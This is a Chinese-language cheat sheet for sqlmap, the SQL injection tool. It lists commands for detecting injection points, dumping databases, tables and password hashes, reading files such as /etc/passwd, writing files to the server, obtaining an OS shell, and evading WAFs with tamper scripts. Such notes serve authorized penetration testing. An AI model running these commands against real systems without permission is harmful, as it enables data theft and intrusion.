###### tags: `sqlmap` # SQLmap 基本使用 ### 基本必須參數(快速) ```bash= # 更新SQLmap --update # 只需確認是否可注入,並只顯示 payload 技術與後端技術 sqlmap -u "URL" # 獲取資料庫 sqlmap -u "URL" --dbs # 獲取資料庫所有 table sqlmap -u "URL" -D database --tables # 獲取指定 table 之欄位 sqlmap -u "URL" -D database -T table --columns # 獲取指定 table 之指定欄位資料 sqlmap -u "URL" -D database -T table -C field1,field2 --dump # 獲取指定 table 之所有欄位資料(就不要-C而已) sqlmap -u "URL" -D database -T table --dump # 不指定table,直接獲取該指定DB所有資料 sqlmap -u "URL" -D database --dump-all ``` ### 常用參數 ```bash= # 使用隨機選擇的 HTTP User-Agent 標頭值,用於繞過 WAF --random-agent # POST data # 也可注入json,看網站怎送請求,--data "{'a':1,'b':2}" 或者 --data '{"a":1,"b":2}' --data "a=1&b=2" # 使用情境通常發生在,某些登入後的頁面才有注入點,不加cookie就存取不到該網站 # 當然也有些網站即使沒登入,但是沒cookie一樣存取不到 --cookie "SESSION_ID=xxx;abc=xxx;" # 使用情境通常是不加的話,可能會被後端或者防火牆攔截等等 # 如果在header中已經指定User-Agent,就別加--random-agent參數 --header "User-Agent: Mozilla/5.0 (Windows NT ..." # 指定注入參數 -p par1,par2 # 跳過注入參數 --skip par1,par2 # 指定注入技術,不使用此參數,預設就是全測,有 BEUSTQ # B = boolean-based # E = error-based # U = union-based # S = stacked-queries # T = time-based # Q = inline-queries --technique BEQU # 指定 union select 的 column 列數 # 可以手動 fuzzing 出來指定 --union-cols 5 # 指定使用union技術時,每個欄位的值是多少 # 例如,假設已知cols為5,且union select 1,2,3,4,5,2跟5可回顯資料 # 如果我想指定注入2的位置,可以這樣下 # --union-values "1,*,3,4,5" --union-values "1,*,3,4,5" # 指定payload前綴 --prefix "'" # 指定payload後綴 --suffix "-- a" # 顯示注入過程詳細,數字越大越細 # (0~6,預設是1,常用是3,手動可注入但SQLmap找不到時,可以設6協助debug) # 使用情境通常發生在fuzzing時的注入 -v 3 # 指定後端資料庫類型 # 中間有空格要使用雙引號,如:"Microsoft Access" --dbms mysql # 自動模式,自動選取默認預設選項 --batch # 跳過防火牆檢測測試 --skip-waf # 設定SQLmap注入檢測風險技術,等級1~3,預設1 # ps. 原本僅使用AND,會變成OR也使用 # 在某些注入的情境可能會洗到資料庫資料,因此請謹慎使用 --risk N # 設定SQLmap注入檢測層級,預設 1,每個層級的說明如下 # Level 1:在 Level 1 中,SQLmap 會執行基本的測試,包括以下方面: # 檢測基本的 SQL 注入點。 # 基於 UNION 運算子的簡單注入測試。 # 基本的布林型注入測試,如 AND/OR payload 測試。 # Level 2:在 Level 2 中,SQLmap 將進行更進一步的測試,包括: # 檢測複雜的 SQL 注入點,如帶有過濾機制的情況。 # 測試基於時間延遲的注入,以繞過某些安全檢測。 # 測試多個可能的注入點。 # Level 3:在 Level 3 中,SQLmap 將進一步擴展其測試範圍,可能會涉及: # 檢測 cookie 或其他 HTTP 請求參數中的注入點。 # 測試更複雜的 SQL 注入漏洞,如深度嵌套的 SQL 查詢或存儲過程。 # 測試更多不同類型的資料庫。 # Level 4:在 Level 4 中,SQLmap 將採用更多的高級技術和深度測試,這可能包括: # 測試對目標系統的各種服務進行深度掃描,以尋找更多的注入點。 # 測試對目標系統進行較為精細的指紋識別,以定制更有效的注入攻擊。 # Level 5:在 Level 5 中,SQLmap 將啟用所有可用的測試和技術,這可能包括: # 對目標系統的所有輸入點進行廣泛的測試,包括 HTTP 請求中的各種參數和 cookies。 # 使用高度複雜的注入模式,如二次注入、堆疊注入等。 # 對目標系統進行更廣泛和深入的分析,以確定可能存在的漏洞點。 --level N # 讓SQLmap自己爬網頁上的注入點 --forms ``` ### 已成功注入後會使用的參數 ```bash= # 列出資料庫banner,version -b # 列出所有DB --dbs # 指定DB名稱 -D "DB_Name" # 列出指定的DB內所有table(需搭配-D參數) --tables # 指定table名稱 -T "Table_Name" # 列出指定的table內所有column(需搭配-T參數) --columns # 指定要列出的column資料 -C "account,password" # 指定不要列出的column資料 -X "id,time" # 列出指定column的所有資料 # 如無使用-C參數,則列出指定table的所有欄位資料 --dump # 僅列出 where 條件的資料 # 使用情境通常發生在,你只想找管理員或者某些特定資料,你不想全注入出來 # 如果你只要拿出 user_id 的欄位符合 'admin' 字串的資料 --where "user_id='admin'" # 列出指定DB內所有table內的資料 # (僅須-D "DB_Name"即可,不需要後面的--table那些) --dump-all # 檢測資料庫是否有DBA權限,例如讀檔,寫檔 # 但這個只能參考,不一定準確(個人實戰經驗) --is-dba # 獲取SQLi帳號的密碼hash --passwords # 檢測當前所使用的DB --current-db # 檢測當前使用資料庫的使用者名稱 --current-user # 嘗試讀取指定路徑下的檔案 --file-read "/etc/passwd" # 指定嘗試要寫到對方Server的檔案(需搭配--file-dest參數) # 如果你直接把檔案放在SQLmap目錄,參數不一定要絕對路徑也可以相對路徑 --file-write "/your/file/path" # 指定Server後端的絕對路徑(需搭配--file-write參數) --file-dest "/server/root/path" # 進入模擬SQL指令互動環境 --sql-shell # 嘗試獲取RCE --os-shell # 指定後端寫檔路徑,--os-shell時可用 --web-root "/var/www/html/upload" # 指定後端系統類型,使用情境通常發生在SQLmap誤判後端作業系統 # 例如要操作讀寫檔,後端為windows,結果寫成linux路徑導致失敗 # 有 windows,macos,linux,unix --os windows ``` ### 例外狀況 當手動測試確定存在注入但是SQLmap檢測不到時 ```bash= # 僅根據渲染完畢的靜態html頁面做比較 --text-only # 檢測頁面某個字串作為布林注入前後比較值 --string "STR" # 讓SQLmap別對payload做URL encode編碼 --skip-urlencode # 讓SQLmap別將字串作轉義 # 例如'abc'不轉義成 0x616263 或 CHAR(97)+CHAR(98)+CHAR(99) --no-escape # 設定網頁反應的延遲時間,預設是5,(這裡指的是time-based注入技術時的反應檢測時間) --time-sec 10 # 可能後端程式有錯誤導致500 http code,且sqlmap因該錯誤無法進行注入 # 但是手動檢測發現會有time-based反應之類的,讓sqlmap忽略500 http code直接注入 --ignore-code 500 ``` ### 資料無法獲取問題 SQLmap明明已經注入出payload技術,但是獲取資料時卻失敗時(或沒有任何資料),有時候不一定是WAF的攔截,大概率是後端資料解析異常所導致,因此可嘗試加上參數(實戰上蠻常用到的) ```bash= # 將輸出資料轉換成16進制資料後撈取 --hex # 不要將注入的數據做編碼或者自動轉換型別 # 例如注入的字元是 var=test[0]'-- a # 讓SQLmap不要轉換成 var=test%5B0%5D'-- a --no-cast ``` ### 資料亂碼問題 當注入出來的結果為亂碼時,有可能欄位是blob等因素,可以轉成2進制輸出 ```bash= # 忽略存儲在會話文件中的查詢結果 --fresh-queries # 具有二進制值的結果字段(例如"摘要") --binary-fields column_name ``` ### 常用繞過 WAF 腳本 當防火牆阻擋規則可循不複雜,也可以自己撰寫繞過腳本,請見[撰寫 SQLmap tamper 參數繞過腳本](https://hackmd.io/@bttea/sqlmap_bypass_WAF_script) ``` --tamper space2comment,space2hash,space2mssqlhash ``` ### 加速注入 當你非常清楚弱點情況並且想跳過一些測試負載,你可以使用如下參數 ```= python sqlmap.py ... --test-skip='(MySQL > 5)|(MySQL >= 5)' 要不就 python sqlmap.py ... --test-skip='MySQL >=? 5' ```